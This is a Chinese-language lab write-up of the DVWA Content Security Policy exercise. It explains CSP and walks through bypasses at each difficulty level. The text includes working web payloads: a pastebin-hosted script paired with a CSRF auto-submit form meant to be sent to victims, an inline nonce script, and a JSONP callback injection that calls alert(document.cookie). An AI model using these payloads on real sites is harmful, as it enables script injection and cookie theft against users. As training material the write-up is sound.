目录
1.概念
Content Security Policy(CSP),内容安全策略
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。
两种方法可以启用 CSP。
一种是通过 HTTP 头信息的Content-Security-Policy
的字段
另一种是通过网页的<meta>
标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
上面代码中,CSP 做了如下配置。
- 脚本:只信任当前域名
<object>
标签:不信任任何URL,即不加载任何资源- 样式表:只信任
cdn.example.org
和third-party.org
- 框架(frame):必须使用HTTPS协议加载,看浏览器版本
- 其他资源:没有限制
启用后,不符合 CSP 的外部资源就会被阻止加载。
2.实验
2.1 LOW
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
从这一段代码中,可以看出允许的JavaScript网站
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
在浏览器的调试工具也可以看到
我们去访问https://pastebin.com,然后写入下面的话,然后点击Create new paste
然后点击raw,将生成跳转的连接复制到表单中
然后就可以弹框了
查看前端代码,可以看到,已经被包含了这个网址
这里可以配合csrf,通过通信工具诱导用户点击即可
<form action="http://192.168.100.51:5678/vulnerabilities/csp/" id="csp" method="post">
<input type="text" name="include" value=""/>
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/VqHmJKjr";
form.submit();
</script>
2.2 Medium
http头信息中的script-src的合法来源发生了变化,说明如下
unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。
在代码中有一行
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
这个就是可以利用的payload
2.3 High
从源代码中可以看到,CSP只允许加载self,即本页面的脚本
//客户端点击按钮后,会在 html 中创建 <script src="http://192.168.0.110:5678/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script> 这样的标签
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
//服务器就根据 callback 请求,返回 solveSum({"answer":"15"}) , 就可以调用 high.js 中的solveSum
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
我们可以在post请求中加入
include=<script src=source/jsonp.php?callback=alert(document.cookie)></script>
这样就可以绕过了
2.4 impossible
没有 url 中的 callback 了,后台写死了,这里目前的逻辑很严谨